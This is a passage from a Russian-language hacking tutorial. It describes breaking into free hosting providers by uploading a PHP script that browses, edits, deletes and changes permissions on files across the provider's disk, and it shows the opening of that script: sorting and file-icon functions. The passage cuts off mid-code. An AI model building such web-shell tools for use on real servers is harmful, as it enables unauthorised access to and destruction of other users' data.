В большей части взлому подвержены бесплатные хостинговые компании и провайдеры,
которые при регистрации доступа в интернет дают бесплатное место для размещение
домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск
провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать,
редактировать. Для этого нам придётся написать небольшой скрипт, который получит
доступ к ресурсам сервера. Для начала определим какими функциями должен обладать
скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь
просматривать картинки, открывать каталоги, выставлять права доступа к файлам,
знать когда файл был создан в системе, когда файл был изменён, к какой группе
относится файл и выставлять соответствующую иконку для удобства, переходить из
каталога в каталог, указывать полные пути до файлов:
//говорим что это PHP скрипт
function cmp( $a, $b ) //обьявляем функции
{
GLOBAL $sort; //сортируем полученные функции
if( $a->inode == $b->inode )
return 0;
switch( $sort ) //объявляем , что по каким функциям будет сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}
function getIcons( $ext ) //объявляем функцию сопоставления иконки с
типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case